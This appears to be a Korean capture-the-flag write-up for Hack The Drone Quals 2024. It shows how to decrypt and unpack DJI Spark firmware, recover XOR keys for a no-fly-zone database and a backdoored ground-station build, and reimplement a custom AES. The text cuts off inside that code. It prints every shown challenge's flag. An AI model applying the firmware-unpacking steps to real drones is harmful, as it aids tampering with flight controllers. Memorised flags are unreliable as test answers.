---
# System prepended metadata

title: Hack The Drone Quals 2024 Writeup
tags: [CTF]

---

# Hack The Drone Quals 2024 Writeup
![image](https://hackmd.io/_uploads/S122PAonR.png)
![image](https://hackmd.io/_uploads/SkRAwRihC.png)


- 2024년 9월 7일(토) 13:00 ~ 2024년 9월 8일(일) 13:00 (24h)
- `하입보잉원` 5위
- [CTFtime](https://ctftime.org/event/2474)

## Reversing
### 0. Real Firmware
#### Description
![image](https://hackmd.io/_uploads/SkJ007c30.png)


#### Solution
- 제공된 파일은 DJI Firmware이며 다음과 같은 펌웨어와 관련된 도구를 찾을 수 있음
    - [펌웨어 복구 스크립트](https://github.com/Demion/DJI_FC/blob/master/DJI_FC.bat)
    - [DJI 펌웨어 도구](https://github.com/o-gs/dji-firmware-tools)
- 위 도구를 활용하여 다음과 같은 스크립트를 실행해주면 바이너리 복구 가능

#### Code
    ```
    python ./dji-firmware-tools/dji_imah_fwsig.py -u -i ./wm100_0306_v03.02.43.20_20170920.pro.fw.sig
    python ./dji-firmware-tools/dji_mvfc_fwpak.py dec -i ./wm100_0306_v03.02.43.20_20170920.pro.fw_0306.bin
    python ./dji-firmware-tools/dji_flyc_param_ed.py -x -b 0x420000 -m ./wm100_0306_v03.02.43.20_20170920.pro.fw_0306.decrypted.bin
    python ./dji_flyc_cmd_table.py -x -b 0x420000 -m ./wm100_0306_v03.02.43.20_20170920.pro.fw_0306.decrypted.bin
    move ./*.bin ./V01.00.0900_Spark_dji_system/
    move ./*.ini ./V01.00.0900_Spark_dji_system/
    move ./flyc_param_infos ./V01.00.0900_Spark_dji_system/
    move ./config_command_table.txt ./V01.00.0900_Spark_dji_system/
    
    python3 arm_bin2elf.py  -vv -e -b 0x420000 --section .ARM.exidx@0x5277d0:0 --section .bss@0x20400000:0x60000 --section .bss2@0x400E0000:0x1000 --section .bss3@0xE0000000:0x10000 -p ../V01.00.0900_Spark_dji_system/wm100_0306_v03.02.43.20_20170920.pro.fw_0306.decrypted.bin
    ```
- 복구 된 바이너리에서 skey 문자열 검색을 통해 관련 함수 식별 및 플래그 획득 가능
![image](https://hackmd.io/_uploads/SySy-VqhR.png)

#### Flag
- HTD{7706a6bc9cffc497719525b39cea78e2}


### 1. NFZ
#### Description
![image](https://hackmd.io/_uploads/rJVWmVch0.png)


#### Solution
- SQLite3 포맷의 데이터베이스 파일과 key 파일을 제공받아 validation check를 수행하는 바이너리
- key의 경우 0x20 바이트로 단순 xor 연산만 수행하여 known bytes와 encrypted bytes를 연산하여 복구 가능
    - 상위 0x10 바이트의 경우 `SQLite format 3\x00` 값으로 구함
    - 하위 0x10 바이트의 경우 상위 0x10바이트를 통해 복구된 문자열의 데이터를 활용하여 구함
    - 암호화 알고리즘의 결과가 여러개 나올 수 있어 여러 블록의 역연산을 통해 고유한 키 획득 가능

#### Code
```python
def decrypt(encrypted_data, key):
    size = len(encrypted_data)
    decrypted_data = bytearray(size)
    for i in range(size):
        decrypted_data[i] = derive_key_byte(encrypted_data[i], key[i % len(key)], i)
    return decrypted_data

def derive_key_byte(cipher_byte, plain_byte, i):
    v4 = (((31 * i) ^ cipher_byte) - (i * plain_byte)) & 0xff
    key_byte = (plain_byte ^ (((v4 >> 4) | (16 * v4)) - 85)) - plain_byte - i
    return key_byte & 0xFF

def get_key(enc, org, i):
    keys = []
    for key in range(0, 0x80):
        v3 = key
        v4 = (((0x1F * i) ^ enc) - i * v3) & 0xFF;
        res = ((v3 ^ (((v4 >> 4) | (0x10 * v4)) - 0x55)) - v3 - i) & 0xFF
        if(res == org):
            return key


key = bytes([55, 48,52, 101,100,97,57,101,102,97,48,98,98,52,53,99])
key += bytes([97, 55, 54, 55, 100, 99, 50, 100, 48, 57, 56, 97, 49, 98, 53, 55])

print(''.join(list(map(chr, key))))
nfz = open('nfz.db.enc', 'rb').read()
decrypted_data = decrypt(nfz, key)
open('nfz.db', 'wb').write(decrypted_data)
```

#### Flag
- HTD{H0w_dId_y0u_BypaSS_v3rific4Ti0n}

### 2. Ghost in the Ground Station
#### Description
![image](https://hackmd.io/_uploads/HJHINN5hR.png)


#### Solution
- [오픈소스](https://github.com/mavlink/qgroundcontrol/blob/eb15982494f5815b9bd6a4ff1172de8593bba801/src/Vehicle/Vehicle.cc#L1071)를 활용하여 백도어 커맨드를 추가한 문제
- BATTERY_STATUS 관련 코드 위주로 오디팅하면 4바이트 값과 암호화 된 패킷을 xor하는 코드 발견 가능
![image](https://hackmd.io/_uploads/Hyc2E45nA.png)
- MAVLINK2 패킷 구조 상 고정되는 값을 활용해 key 복구 가능
![image](https://hackmd.io/_uploads/r1bSrNc2A.png)


#### Code
```python
import struct
p32 =lambda x : struct.pack("<I",x)
enc = [0x597093ef, 0xca71a49b, 0xd38a512, 0x6816de56, 0x342fc97e, 0x6807fa21, 0x352fcd25, 0x643d322, 0x2c46fa23, 0x6459021, 0x643cd25, 0x606d07e, 0x6e479170, 0x609d721, 0x3d2f9023, 0x24149121]


for x in range(0, 1):
    flag = b''
    for i in range(0, len(enc)):
        flag += p32(enc[i] ^ 0x5970a512)
    print(x, flag)
```

#### Flag
- HTD{f1ll_m3_w17h_l0v3_1_6u355_7h3_luv_b4773ry_15_d34d}


### 3. Simulator
#### Description
![image](https://hackmd.io/_uploads/ByZsHVqnR.png)


#### Solution
- [오픈소스](https://github.com/PX4/PX4-Autopilot/blob/bb0210ecd7028a14e7aaed850f4091fb5b9487da/src/modules/commander/Commander.cpp#L300)를 활용하여 커맨드를 추가한 문제
- check 커맨드 처리 과정에서 오픈소스에는 없는 함수 존재
![image](https://hackmd.io/_uploads/SyLf84q2R.png)
- 해당 함수는 파일을 읽어 AES128으로 암호화 하는 기능 수행
    - sbox: custom sbox 사용
    - key: AES128_CipherKey
    - mode: ECB
    - transpose
![image](https://hackmd.io/_uploads/r1aNIVqn0.png)

#### Code
```python
class AES_implemented:
    rcon = ([0x01, 0, 0, 0], 
            [0x02, 0, 0, 0], 
            [0x04, 0, 0, 0], 
            [0x08, 0, 0, 0], 
            [0x10, 0, 0, 0], 
            [0x20, 0, 0, 0], 
            [0x40, 0, 0, 0], 
            [0x80, 0, 0, 0], 
            [0x1b, 0, 0, 0], 
            [0x36, 0, 0, 0])

    gf_mul_2 = (
        0x00, 0x02, 0x04, 0x06, 0x08, 0x0a, 0x0c, 0x0e, 0x10, 0x12, 0x14, 0x16, 0x18, 0x1a, 0x1c, 0x1e, 
        0x20, 0x22, 0x24, 0x26, 0x28, 0x2a, 0x2c, 0x2e, 0x30, 0x32, 0x34, 0x36, 0x38, 0x3a, 0x3c, 0x3e, 
        0x40, 0x42, 0x44, 0x46, 0x48, 0x4a, 0x4c, 0x4e, 0x50, 0x52, 0x54, 0x56, 0x58, 0x5a, 0x5c, 0x5e, 
        0x60, 0x62, 0x64, 0x66, 0x68, 0x6a, 0x6c, 0x6e, 0x70, 0x72, 0x74, 0x76, 0x78, 0x7a, 0x7c, 0x7e, 
        0x80, 0x82, 0x84, 0x86, 0x88, 0x8a, 0x8c, 0x8e, 0x90, 0x92, 0x94, 0x96, 0x98, 0x9a, 0x9c, 0x9e, 
        0xa0, 0xa2, 0xa4, 0xa6, 0xa8, 0xaa, 0xac, 0xae, 0xb0, 0xb2, 0xb4, 0xb6, 0xb8, 0xba, 0xbc, 0xbe, 
        0xc0, 0xc2, 0xc4, 0xc6, 0xc8, 0xca, 0xcc, 0xce, 0xd0, 0xd2, 0xd4, 0xd6, 0xd8, 0xda, 0xdc, 0xde, 
        0xe0, 0xe2, 0xe4, 0xe6, 0xe8, 0xea, 0xec, 0xee, 0xf0, 0xf2, 0xf4, 0xf6, 0xf8, 0xfa, 0xfc, 0xfe, 
        0x1b, 0x19, 0x1f, 0x1d, 0x13, 0x11, 0x17, 0x15, 0x0b, 0x09, 0x0f, 0x0d, 0x03, 0x01, 0x07, 0x05, 
        0x3b, 0x39, 0x3f, 0x3d, 0x33, 0x31, 0x37, 0x35, 0x2b, 0x29, 0x2f, 0x2d, 0x23, 0x21, 0x27, 0x25, 
        0x5b, 0x59, 0x5f, 0x5d, 0x53, 0x51, 0x57, 0x55, 0x4b, 0x49, 0x4f, 0x4d, 0x43, 0x41, 0x47, 0x45, 
        0x7b, 0x79, 0x7f, 0x7d, 0x73, 0x71, 0x77, 0x75, 0x6b, 0x69, 0x6f, 0x6d, 0x63, 0x61, 0x67, 0x65, 
        0x9b, 0x99, 0x9f, 0x9d, 0x93, 0x91, 0x97, 0x95, 0x8b, 0x89, 0x8f, 0x8d, 0x83, 0x81, 0x87, 0x85, 
        0xbb, 0xb9, 0xbf, 0xbd, 0xb3, 0xb1, 0xb7, 0xb5, 0xab, 0xa9, 0xaf, 0xad, 0xa3, 0xa1, 0xa7, 0xa5, 
        0xdb, 0xd9, 0xdf, 0xdd, 0xd3, 0xd1, 0xd7, 0xd5, 0xcb, 0xc9, 0xcf, 0xcd, 0xc3, 0xc1, 0xc7, 0xc5, 
        0xfb, 0xf9, 0xff, 0xfd, 0xf3, 0xf1, 0xf7, 0xf5, 0xeb, 0xe9, 0xef, 0xed, 0xe3, 0xe1, 0xe7, 0xe5
    )

    gf_mul_3 = (
        0x00, 0x03, 0x06, 0x05, 0x0c, 0x0f, 0x0a, 0x09, 0x18, 0x1b, 0x1e, 0x1d, 0x14, 0x17, 0x12, 0x11, 
        0x30, 0x33, 0x36, 0x35, 0x3c, 0x3f, 0x3a, 0x39, 0x28, 0x2b, 0x2e, 0x2d, 0x24, 0x27, 0x22, 0x21, 
        0x60, 0x63, 0x66, 0x65, 0x6c, 0x6f, 0x6a, 0x69, 0x78, 0x7b, 0x7e, 0x7d, 0x74, 0x77, 0x72, 0x71, 
        0x50, 0x53, 0x56, 0x55, 0x5c, 0x5f, 0x5a, 0x59, 0x48, 0x4b, 0x4e, 0x4d, 0x44, 0x47, 0x42, 0x41, 
        0xc0, 0xc3, 0xc6, 0xc5, 0xcc, 0xcf, 0xca, 0xc9, 0xd8, 0xdb, 0xde, 0xdd, 0xd4, 0xd7, 0xd2, 0xd1, 
        0xf0, 0xf3, 0xf6, 0xf5, 0xfc, 0xff, 0xfa, 0xf9, 0xe8, 0xeb, 0xee, 0xed, 0xe4, 0xe7, 0xe2, 0xe1, 
        0xa0, 0xa3, 0xa6, 0xa5, 0xac, 0xaf, 0xaa, 0xa9, 0xb8, 0xbb, 0xbe, 0xbd, 0xb4, 0xb7, 0xb2, 0xb1, 
        0x90, 0x93, 0x96, 0x95, 0x9c, 0x9f, 0x9a, 0x99, 0x88, 0x8b, 0x8e, 0x8d, 0x84, 0x87, 0x82, 0x81, 
        0x9b, 0x98, 0x9d, 0x9e, 0x97, 0x94, 0x91, 0x92, 0x83, 0x80, 0x85, 0x86, 0x8f, 0x8c, 0x89, 0x8a, 
        0xab, 0xa8, 0xad, 0xae, 0xa7, 0xa4, 0xa1, 0xa2, 0xb3, 0xb0, 0xb5, 0xb6, 0xbf, 0xbc, 0xb9, 0xba, 
        0xfb, 0xf8, 0xfd, 0xfe, 0xf7, 0xf4, 0xf1, 0xf2, 0xe3, 0xe0, 0xe5, 0xe6, 0xef, 0xec, 0xe9, 0xea, 
        0xcb, 0xc8, 0xcd, 0xce, 0xc7, 0xc4, 0xc1, 0xc2, 0xd3, 0xd0, 0xd5, 0xd6, 0xdf, 0xdc, 0xd9, 0xda, 
        0x5b, 0x58, 0x5d, 0x5e, 0x57, 0x54, 0x51, 0x52, 0x43, 0x40, 0x45, 0x46, 0x4f, 0x4c, 0x49, 0x4a, 
        0x6b, 0x68, 0x6d, 0x6e, 0x67, 0x64, 0x61, 0x62, 0x73, 0x70, 0x75, 0x76, 0x7f, 0x7c, 0x79, 0x7a, 
        0x3b, 0x38, 0x3d, 0x3e, 0x37, 0x34, 0x31, 0x32, 0x23, 0x20, 0x25, 0x26, 0x2f, 0x2c, 0x29, 0x2a, 
        0x0b, 0x08, 0x0d, 0x0e, 0x07, 0x04, 0x01, 0x02, 0x13, 0x10, 0x15, 0x16, 0x1f, 0x1c, 0x19, 0x1a
    )

    gf_mul_9 = (
        0x00, 0x09, 0x12, 0x1b, 0x24, 0x2d, 0x36, 0x3f, 0x48, 0x41, 0x5a, 0x53, 0x6c, 0x65, 0x7e, 0x77, 
        0x90, 0x99, 0x82, 0x8b, 0xb4, 0xbd, 0xa6, 0xaf, 0xd8, 0xd1, 0xca, 0xc3, 0xfc, 0xf5, 0xee, 0xe7, 
        0x3b, 0x32, 0x29, 0x20, 0x1f, 0x16, 0x0d, 0x04, 0x73, 0x7a, 0x61, 0x68, 0x57, 0x5e, 0x45, 0x4c, 
        0xab, 0xa2, 0xb9, 0xb0, 0x8f, 0x86, 0x9d, 0x94, 0xe3, 0xea, 0xf1, 0xf8, 0xc7, 0xce, 0xd5, 0xdc, 
        0x76, 0x7f, 0x64, 0x6d, 0x52, 0x5b, 0x40, 0x49, 0x3e, 0x37, 0x2c, 0x25, 0x1a, 0x13, 0x08, 0x01, 
        0xe6, 0xef, 0xf4, 0xfd, 0xc2, 0xcb, 0xd0, 0xd9, 0xae, 0xa7, 0xbc, 0xb5, 0x8a, 0x83, 0x98, 0x91, 
        0x4d, 0x44, 0x5f, 0x56, 0x69, 0x60, 0x7b, 0x72, 0x05, 0x0c, 0x17, 0x1e, 0x21, 0x28, 0x33, 0x3a, 
        0xdd, 0xd4, 0xcf, 0xc6, 0xf9, 0xf0, 0xeb, 0xe2, 0x95, 0x9c, 0x87, 0x8e, 0xb1, 0xb8, 0xa3, 0xaa, 
        0xec, 0xe5, 0xfe, 0xf7, 0xc8, 0xc1, 0xda, 0xd3, 0xa4, 0xad, 0xb6, 0xbf, 0x80, 0x89, 0x92, 0x9b, 
        0x7c, 0x75, 0x6e, 0x67, 0x58, 0x51, 0x4a, 0x43, 0x34, 0x3d, 0x26, 0x2f, 0x10, 0x19, 0x02, 0x0b, 
        0xd7, 0xde, 0xc5, 0xcc, 0xf3, 0xfa, 0xe1, 0xe8, 0x9f, 0x96, 0x8d, 0x84, 0xbb, 0xb2, 0xa9, 0xa0, 
        0x47, 0x4e, 0x55, 0x5c, 0x63, 0x6a, 0x71, 0x78, 0x0f, 0x06, 0x1d, 0x14, 0x2b, 0x22, 0x39, 0x30, 
        0x9a, 0x93, 0x88, 0x81, 0xbe, 0xb7, 0xac, 0xa5, 0xd2, 0xdb, 0xc0, 0xc9, 0xf6, 0xff, 0xe4, 0xed, 
        0x0a, 0x03, 0x18, 0x11, 0x2e, 0x27, 0x3c, 0x35, 0x42, 0x4b, 0x50, 0x59, 0x66, 0x6f, 0x74, 0x7d, 
        0xa1, 0xa8, 0xb3, 0xba, 0x85, 0x8c, 0x97, 0x9e, 0xe9, 0xe0, 0xfb, 0xf2, 0xcd, 0xc4, 0xdf, 0xd6, 
        0x31, 0x38, 0x23, 0x2a, 0x15, 0x1c, 0x07, 0x0e, 0x79, 0x70, 0x6b, 0x62, 0x5d, 0x54, 0x4f, 0x46
    )

    gf_mul_11 = (
        0x00, 0x0b, 0x16, 0x1d, 0x2c, 0x27, 0x3a, 0x31, 0x58, 0x53, 0x4e, 0x45, 0x74, 0x7f, 0x62, 0x69, 
        0xb0, 0xbb, 0xa6, 0xad, 0x9c, 0x97, 0x8a, 0x81, 0xe8, 0xe3, 0xfe, 0xf5, 0xc4, 0xcf, 0xd2, 0xd9, 
        0x7b, 0x70, 0x6d, 0x66, 0x57, 0x5c, 0x41, 0x4a, 0x23, 0x28, 0x35, 0x3e, 0x0f, 0x04, 0x19, 0x12, 
        0xcb, 0xc0, 0xdd, 0xd6, 0xe7, 0xec, 0xf1, 0xfa, 0x93, 0x98, 0x85, 0x8e, 0xbf, 0xb4, 0xa9, 0xa2, 
        0xf6, 0xfd, 0xe0, 0xeb, 0xda, 0xd1, 0xcc, 0xc7, 0xae, 0xa5, 0xb8, 0xb3, 0x82, 0x89, 0x94, 0x9f, 
        0x46, 0x4d, 0x50, 0x5b, 0x6a, 0x61, 0x7c, 0x77, 0x1e, 0x15, 0x08, 0x03, 0x32, 0x39, 0x24, 0x2f, 
        0x8d, 0x86, 0x9b, 0x90, 0xa1, 0xaa, 0xb7, 0xbc, 0xd5, 0xde, 0xc3, 0xc8, 0xf9, 0xf2, 0xef, 0xe4, 
        0x3d, 0x36, 0x2b, 0x20, 0x11, 0x1a, 0x07, 0x0c, 0x65, 0x6e, 0x73, 0x78, 0x49, 0x42, 0x5f, 0x54, 
        0xf7, 0xfc, 0xe1, 0xea, 0xdb, 0xd0, 0xcd, 0xc6, 0xaf, 0xa4, 0xb9, 0xb2, 0x83, 0x88, 0x95, 0x9e, 
        0x47, 0x4c, 0x51, 0x5a, 0x6b, 0x60, 0x7d, 0x76, 0x1f, 0x14, 0x09, 0x02, 0x33, 0x38, 0x25, 0x2e, 
        0x8c, 0x87, 0x9a, 0x91, 0xa0, 0xab, 0xb6, 0xbd, 0xd4, 0xdf, 0xc2, 0xc9, 0xf8, 0xf3, 0xee, 0xe5, 
        0x3c, 0x37, 0x2a, 0x21, 0x10, 0x1b, 0x06, 0x0d, 0x64, 0x6f, 0x72, 0x79, 0x48, 0x43, 0x5e, 0x55, 
        0x01, 0x0a, 0x17, 0x1c, 0x2d, 0x26, 0x3b, 0x30, 0x59, 0x52, 0x4f, 0x44, 0x75, 0x7e, 0x63, 0x68, 
        0xb1, 0xba, 0xa7, 0xac, 0x9d, 0x96, 0x8b, 0x80, 0xe9, 0xe2, 0xff, 0xf4, 0xc5, 0xce, 0xd3, 0xd8, 
        0x7a, 0x71, 0x6c, 0x67, 0x56, 0x5d, 0x40, 0x4b, 0x22, 0x29, 0x34, 0x3f, 0x0e, 0x05, 0x18, 0x13, 
        0xca, 0xc1, 0xdc, 0xd7, 0xe6, 0xed, 0xf0, 0xfb, 0x92, 0x99, 0x84, 0x8f, 0xbe, 0xb5, 0xa8, 0xa3
    )

    gf_mul_13 = (
        0x00, 0x0d, 0x1a, 0x17, 0x34, 0x39, 0x2e, 0x23, 0x68, 0x65, 0x72, 0x7f, 0x5c, 0x51, 0x46, 0x4b, 
        0xd0, 0xdd, 0xca, 0xc7, 0xe4, 0xe9, 0xfe, 0xf3, 0xb8, 0xb5, 0xa2, 0xaf, 0x8c, 0x81, 0x96, 0x9b, 
        0xbb, 0xb6, 0xa1, 0xac, 0x8f, 0x82, 0x95, 0x98, 0xd3, 0xde, 0xc9, 0xc4, 0xe7, 0xea, 0xfd, 0xf0, 
        0x6b, 0x66, 0x71, 0x7c, 0x5f, 0x52, 0x45, 0x48, 0x03, 0x0e, 0x19, 0x14, 0x37, 0x3a, 0x2d, 0x20, 
        0x6d, 0x60, 0x77, 0x7a, 0x59, 0x54, 0x43, 0x4e, 0x05, 0x08, 0x1f, 0x12, 0x31, 0x3c, 0x2b, 0x26, 
        0xbd, 0xb0, 0xa7, 0xaa, 0x89, 0x84, 0x93, 0x9e, 0xd5, 0xd8, 0xcf, 0xc2, 0xe1, 0xec, 0xfb, 0xf6, 
        0xd6, 0xdb, 0xcc, 0xc1, 0xe2, 0xef, 0xf8, 0xf5, 0xbe, 0xb3, 0xa4, 0xa9, 0x8a, 0x87, 0x90, 0x9d, 
        0x06, 0x0b, 0x1c, 0x11, 0x32, 0x3f, 0x28, 0x25, 0x6e, 0x63, 0x74, 0x79, 0x5a, 0x57, 0x40, 0x4d, 
        0xda, 0xd7, 0xc0, 0xcd, 0xee, 0xe3, 0xf4, 0xf9, 0xb2, 0xbf, 0xa8, 0xa5, 0x86, 0x8b, 0x9c, 0x91, 
        0x0a, 0x07, 0x10, 0x1d, 0x3e, 0x33, 0x24, 0x29, 0x62, 0x6f, 0x78, 0x75, 0x56, 0x5b, 0x4c, 0x41, 
        0x61, 0x6c, 0x7b, 0x76, 0x55, 0x58, 0x4f, 0x42, 0x09, 0x04, 0x13, 0x1e, 0x3d, 0x30, 0x27, 0x2a, 
        0xb1, 0xbc, 0xab, 0xa6, 0x85, 0x88, 0x9f, 0x92, 0xd9, 0xd4, 0xc3, 0xce, 0xed, 0xe0, 0xf7, 0xfa, 
        0xb7, 0xba, 0xad, 0xa0, 0x83, 0x8e, 0x99, 0x94, 0xdf, 0xd2, 0xc5, 0xc8, 0xeb, 0xe6, 0xf1, 0xfc, 
        0x67, 0x6a, 0x7d, 0x70, 0x53, 0x5e, 0x49, 0x44, 0x0f, 0x02, 0x15, 0x18, 0x3b, 0x36, 0x21, 0x2c, 
        0x0c, 0x01, 0x16, 0x1b, 0x38, 0x35, 0x22, 0x2f, 0x64, 0x69, 0x7e, 0x73, 0x50, 0x5d, 0x4a, 0x47, 
        0xdc, 0xd1, 0xc6, 0xcb, 0xe8, 0xe5, 0xf2, 0xff, 0xb4, 0xb9, 0xae, 0xa3, 0x80, 0x8d, 0x9a, 0x97
    )

    gf_mul_14 = (
        0x00, 0x0e, 0x1c, 0x12, 0x38, 0x36, 0x24, 0x2a, 0x70, 0x7e, 0x6c, 0x62, 0x48, 0x46, 0x54, 0x5a, 
        0xe0, 0xee, 0xfc, 0xf2, 0xd8, 0xd6, 0xc4, 0xca, 0x90, 0x9e, 0x8c, 0x82, 0xa8, 0xa6, 0xb4, 0xba, 
        0xdb, 0xd5, 0xc7, 0xc9, 0xe3, 0xed, 0xff, 0xf1, 0xab, 0xa5, 0xb7, 0xb9, 0x93, 0x9d, 0x8f, 0x81, 
        0x3b, 0x35, 0x27, 0x29, 0x03, 0x0d, 0x1f, 0x11, 0x4b, 0x45, 0x57, 0x59, 0x73, 0x7d, 0x6f, 0x61, 
        0xad, 0xa3, 0xb1, 0xbf, 0x95, 0x9b, 0x89, 0x87, 0xdd, 0xd3, 0xc1, 0xcf, 0xe5, 0xeb, 0xf9, 0xf7, 
        0x4d, 0x43, 0x51, 0x5f, 0x75, 0x7b, 0x69, 0x67, 0x3d, 0x33, 0x21, 0x2f, 0x05, 0x0b, 0x19, 0x17, 
        0x76, 0x78, 0x6a, 0x64, 0x4e, 0x40, 0x52, 0x5c, 0x06, 0x08, 0x1a, 0x14, 0x3e, 0x30, 0x22, 0x2c, 
        0x96, 0x98, 0x8a, 0x84, 0xae, 0xa0, 0xb2, 0xbc, 0xe6, 0xe8, 0xfa, 0xf4, 0xde, 0xd0, 0xc2, 0xcc, 
        0x41, 0x4f, 0x5d, 0x53, 0x79, 0x77, 0x65, 0x6b, 0x31, 0x3f, 0x2d, 0x23, 0x09, 0x07, 0x15, 0x1b, 
        0xa1, 0xaf, 0xbd, 0xb3, 0x99, 0x97, 0x85, 0x8b, 0xd1, 0xdf, 0xcd, 0xc3, 0xe9, 0xe7, 0xf5, 0xfb, 
        0x9a, 0x94, 0x86, 0x88, 0xa2, 0xac, 0xbe, 0xb0, 0xea, 0xe4, 0xf6, 0xf8, 0xd2, 0xdc, 0xce, 0xc0, 
        0x7a, 0x74, 0x66, 0x68, 0x42, 0x4c, 0x5e, 0x50, 0x0a, 0x04, 0x16, 0x18, 0x32, 0x3c, 0x2e, 0x20, 
        0xec, 0xe2, 0xf0, 0xfe, 0xd4, 0xda, 0xc8, 0xc6, 0x9c, 0x92, 0x80, 0x8e, 0xa4, 0xaa, 0xb8, 0xb6, 
        0x0c, 0x02, 0x10, 0x1e, 0x34, 0x3a, 0x28, 0x26, 0x7c, 0x72, 0x60, 0x6e, 0x44, 0x4a, 0x58, 0x56, 
        0x37, 0x39, 0x2b, 0x25, 0x0f, 0x01, 0x13, 0x1d, 0x47, 0x49, 0x5b, 0x55, 0x7f, 0x71, 0x63, 0x6d, 
        0xd7, 0xd9, 0xcb, 0xc5, 0xef, 0xe1, 0xf3, 0xfd, 0xa7, 0xa9, 0xbb, 0xb5, 0x9f, 0x91, 0x83, 0x8d
    )

    sbox =  (
       0x7d, 0x0c, 0x21, 0x55, 0x63, 0x14, 0x69, 0xe1, 0x26, 0xd6, 0x77, 0xba, 0x7e, 0x04, 0x2b, 0x17, 0x61, 0x99, 0x53, 0x83, 0x3c, 0xbb, 0xeb, 0xc8, 0xb0, 0xf5, 0x2a, 0xae, 0x4d, 0x3b, 0xe0, 0xa0, 0xef, 0x9c, 0xc9, 0x93, 0x9f, 0x7a, 0xe5, 0x2d, 0x0d, 0x4a, 0xb5, 0x19, 0xa9, 0x7f, 0x51, 0x60, 0x5f, 0xec, 0x80, 0x27, 0x59, 0x10, 0x12, 0xb1, 0x31, 0xc7, 0x07, 0x88, 0x33, 0xa8, 0xdd, 0x1f, 0xf4, 0x5a, 0xcd, 0x78, 0xfe, 0xc0, 0xdb, 0x9a, 0x20, 0x79, 0xd2, 0xc6, 0x4b, 0x3e, 0x56, 0xfc, 0x1b, 0xbe, 0x18, 0xaa, 0x0e, 0x62, 0xb7, 0x6f, 0x89, 0xc5, 0x29, 0x1d, 0x71, 0x1a, 0xf1, 0x47, 0x6e, 0xdf, 0x75, 0x1c, 0xe8, 0x37, 0xf9, 0xe2, 0x85, 0x35, 0xad, 0xe7, 0x22, 0x74, 0xac, 0x96, 0x73, 0xe6, 0xb4, 0xf0, 0xce, 0xcf, 0xf2, 0x97, 0xea, 0xdc, 0x67, 0x4f, 0x41, 0x11, 0x91, 0x3a, 0x6b, 0x8a, 0x13, 0x01, 0x03, 0xbd, 0xaf, 0xc1, 0x02, 0x0f, 0x3f, 0xca, 0x8f, 0x1e, 0x2c, 0xd0, 0x06, 0x45, 0xb3, 0xb8, 0x05, 0x58, 0xe4, 0xf7, 0x0a, 0xd3, 0xbc, 0x8c, 0x00, 0xab, 0xd8, 0x90, 0x84, 0x9d, 0x8d, 0xa7, 0x57, 0x46, 0x15, 0x5e, 0xda, 0xb9, 0xed, 0xfd, 0x50, 0x48, 0x70, 0x6c, 0x92, 0xb6, 0x65, 0x5d, 0xcc, 0x5c, 0xa4, 0xd4, 0x16, 0x98, 0x68, 0x86, 0x64, 0xf6, 0xf8, 0x72, 0x25, 0xd1, 0x8b, 0x6d, 0x49, 0xa2, 0x5b, 0x76, 0xb2, 0x24, 0xd9, 0x28, 0x66, 0xa1, 0x2e, 0x08, 0x4e, 0xc3, 0xfa, 0x42, 0x0b, 0x95, 0x4c, 0xee, 0x3d, 0x23, 0xc2, 0xa6, 0x32, 0x94, 0x7b, 0x54, 0xcb, 0xe9, 0xde, 0xc4, 0x44, 0x43, 0x8e, 0x34, 0x87, 0xff, 0x2f, 0x9b, 0x82, 0x39, 0xe3, 0x7c, 0xfb, 0xd7, 0xf3, 0x81, 0x9e, 0xa3, 0x40, 0xbf, 0x38, 0xa5, 0x36, 0x30, 0xd5, 0x6a, 0x09, 0x52
    )
    
    sbox_inv = (
        156, 131, 136, 132, 13, 148, 144, 58, 207, 254, 152, 212, 1, 40, 84, 137, 53, 125, 54, 130, 5, 166, 184, 15, 82, 43, 93, 80, 99, 91, 141, 63, 72, 2, 108, 217, 201, 192, 8, 51, 203, 90, 26, 14, 142, 39, 206, 234, 251, 56, 220, 60, 231, 105, 250, 101, 248, 237, 127, 29, 20, 216, 77, 138, 246, 124, 211, 229, 228, 145, 165, 95, 173, 196, 41, 76, 214, 28, 208, 123, 172, 46, 255, 18, 223, 3, 78, 164, 149, 52, 65, 198, 181, 179, 167, 48, 47, 16, 85, 4, 188, 178, 204, 122, 186, 6, 253, 128, 175, 195, 96, 87, 174, 92, 191, 112, 109, 98, 199, 10, 67, 73, 37, 222, 239, 0, 12, 45, 50, 243, 236, 19, 160, 104, 187, 232, 59, 88, 129, 194, 155, 162, 230, 140, 159, 126, 176, 35, 221, 213, 111, 119, 185, 17, 71, 235, 33, 161, 244, 36, 31, 205, 197, 245, 182, 249, 219, 163, 61, 44, 83, 157, 110, 106, 27, 134, 24, 55, 200, 146, 114, 42, 177, 86, 147, 169, 11, 21, 154, 133, 81, 247, 69, 135, 218, 209, 227, 89, 75, 57, 23, 34, 139, 224, 180, 66, 116, 117, 143, 193, 74, 153, 183, 252, 9, 241, 158, 202, 168, 70, 121, 62, 226, 97, 30, 7, 103, 238, 150, 38, 113, 107, 100, 225, 120, 22, 49, 170, 215, 32, 115, 94, 118, 242, 64, 25, 189, 151, 190, 102, 210, 240, 79, 171, 68, 233
    )


    def __init__(self, key):
        assert isinstance(key, bytes) and len(key) == 16
        self._block_size = 16
        self._round = 10
        self._round_keys = []
        self._state = []

    def _transpose(self, m):
        return [m[4 * j + i] for i in range(4) for j in range(4)]

    def _xor(self, a, b):
        return [x ^ y for x, y in zip(a, b)]

    def _expand_key(self, key):
        round_keys = [[c for c in key]]
        for round_n in range(self._round):
            prev_round_key = round_keys[round_n]
            round_key = prev_round_key[-4:]
            round_key = round_key[1:] + round_key[:1]
            round_key = [self.sbox[i] for i in round_key]
            round_key = self._xor(
                self._xor(round_key, prev_round_key[:4]), self.rcon[round_n]
            )
            for i in range(0, 12, 4):
                round_key += self._xor(round_key[i : i + 4], prev_round_key[i + 4 : i + 8])
            round_keys.append(round_key)

        for round_n in range(self._round + 1):
            round_keys[round_n] = self._transpose(round_keys[round_n])

        return round_keys

    def _add_round_key(self, round_n):
        self._state = self._xor(self._state, self._round_keys[round_n])

    def _sub_bytes(self):
        self._state = [self.sbox[c] for c in self._state]

    def _sub_bytes_inv(self):
        self._state = [self.sbox_inv[c] for c in self._state]

    def _shift_rows(self):
        self._state = [
            self._state[0], self._state[1], self._state[2], self._state[3],
            self._state[5], self._state[6], self._state[7], self._state[4],
            self._state[10], self._state[11], self._state[8], self._state[9],
            self._state[15], self._state[12], self._state[13], self._state[14]
        ]

    def _shift_rows_inv(self):
        self._state = [
            self._state[0], self._state[1], self._state[2], self._state[3],
            self._state[7], self._state[4], self._state[5], self._state[6],
            self._state[10], self._state[11], self._state[8], self._state[9],
            self._state[13], self._state[14], self._state[15], self._state[12]
        ]

    def _mix_columns(self):
        s = [0] * self._block_size
        for i in range(4):
